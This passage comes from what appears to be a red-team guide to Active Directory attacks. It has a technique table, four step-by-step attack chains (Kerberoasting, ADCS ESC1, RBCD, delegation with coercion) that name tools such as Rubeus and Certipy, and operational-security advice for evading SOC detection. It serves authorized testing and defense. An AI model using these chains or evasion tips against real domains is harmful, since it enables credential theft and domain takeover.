AS-REP Roasting	None (with known usernames)	Offline	Medium (Event 4768 without pre-auth)	User passwords
DCSync	Replicating Directory Changes + All	Online (replication protocol)	Medium (Event 4662, replication from non-DC)	All domain hashes
Golden Ticket	krbtgt hash	Offline (forging)	Hard (no authentication event at creation)	Arbitrary TGTs
Silver Ticket	Service account hash	Offline (forging)	Very Hard (no KDC interaction)	Service-specific TGS
Diamond Ticket	krbtgt hash + valid creds	Hybrid	Very Hard (legitimate auth event modified)	Modified TGT
ADCS ESC1	Enrollment rights on misconfigured template	Online (certificate request)	Hard (legitimate cert enrollment)	Certificate as any user
NTLM Relay (ESC8)	Network position for relay	Online	Medium (relay detection)	Machine account certificate
LAPS Dump	Read access to LAPS attributes	Online (LDAP query)	Low (standard LDAP read)	Local admin passwords
GPP Password	Any domain user (SYSVOL read)	Offline (decrypt with known key)	Low (file access in SYSVOL)	Local admin passwords

Lateral Movement Chains — Real-World Examples

Chain 1: Kerberoast to Domain Admin (Classic)

Initial access: Phish a standard domain user.
Enumerate: Run SharpHound DCOnly to map the domain.
Kerberoast: Discover svc_backup has an SPN and is a member of Backup Operators.
Crack: Recover svc_backup password (Summer2024!) via hashcat.
Backup Operator abuse: Use Backup Operators privileges to extract ntds.dit via wbadmin or diskshadow.
DCSync: Extract all hashes from the offline ntds.dit copy.
Golden Ticket: Forge persistence ticket with krbtgt hash.

Chain 2: ADCS to Domain Admin (Modern)

Initial access: Compromise a workstation via browser exploit.
Enumerate: Run Certipy find -vulnerable to discover ESC1-vulnerable template WebServer with Client Authentication EKU and SAN enabled.
Exploit: Request a certificate as administrator@jcsec.local using the vulnerable template.
Authenticate: Use the certificate to obtain the Administrator’s NTLM hash via PKINIT and UnPAC-the-hash.
Persist: The certificate is valid for 1 year and survives password resets.

Chain 3: RBCD Pivot (No Cracking Required)

Initial access: Compromise a low-privilege workstation.
Enumerate: BloodHound shows the compromised user has GenericWrite on the FILE01$ computer object.
Create machine account: Add FAKEPC$ to the domain (default ms-DS-MachineAccountQuota allows this).
Configure RBCD: Set FILE01$ to trust delegation from FAKEPC$.
S4U: Impersonate Administrator to cifs/FILE01.jcsec.local.
Pivot: Access FILE01, find Domain Admin sessions, extract TGTs.

Chain 4: Unconstrained Delegation + Coercion

Initial access: Compromise a server with unconstrained delegation (WEB01).
Coerce: Use PrinterBug/SpoolSample to force the DC to authenticate to WEB01.
Capture: Rubeus captures the DC’s TGT.
DCSync: Use the DC’s TGT to perform DCSync.
Persist: Extract krbtgt, forge Golden Ticket.

Operational Security Considerations

When executing AD attacks during a red team engagement, apply the principles from Stealth & Evasion rigorously:

Prefer DCOnly collection for BloodHound when stealth matters — full collection touches every host in the domain.
Target Kerberoasting: Request tickets for one or two high-value accounts, not every SPN in the domain.
Use AES keys when forging tickets in environments that monitor for RC4 usage anomalies.
Diamond Tickets over Golden Tickets when the SOC monitors for TGTs without corresponding AS-REQ events.
ADCS persistence over Golden Tickets — certificates are less understood by most blue teams and survive krbtgt rotation.
Clean up RBCD configurations after exploitation — leaving msDS-AllowedToActOnBehalfOfOtherIdentity modified is a loud indicator of compromise.

For C2 infrastructure considerations when operating in AD environments, see C2 Frameworks. For correlating red team findings with blue team detections, see Purple Teaming.

Key Takeaways

Active Directory attack paths are about relationships, not vulnerabilities. A single misconfigured ACL, a Kerberoastable service account with a weak password, or an ADCS template with SAN enabled can be the keystone of an entire attack chain that leads from unprivileged user to Enterprise Admin.

The most effective AD red teamers:

Enumerate ruthlessly — BloodHound and manual LDAP queries reveal paths that scanners miss.
Chain primitives — Combine RBCD, delegation, ADCS, and credential attacks into multi-step paths.
Understand the protocols — Knowing how Kerberos, NTLM, and LDAP work at the protocol level enables creative abuse beyond documented techniques.
Maintain persistence thoughtfully — ADCS certificates and Diamond Tickets provide the most resilient and stealthy persistence mechanisms available today.
Document everything — Attack paths that aren’t clearly documented in the report can’t be remediated. Graph visualizations from BloodHound are invaluable for communicating risk to stakeholders.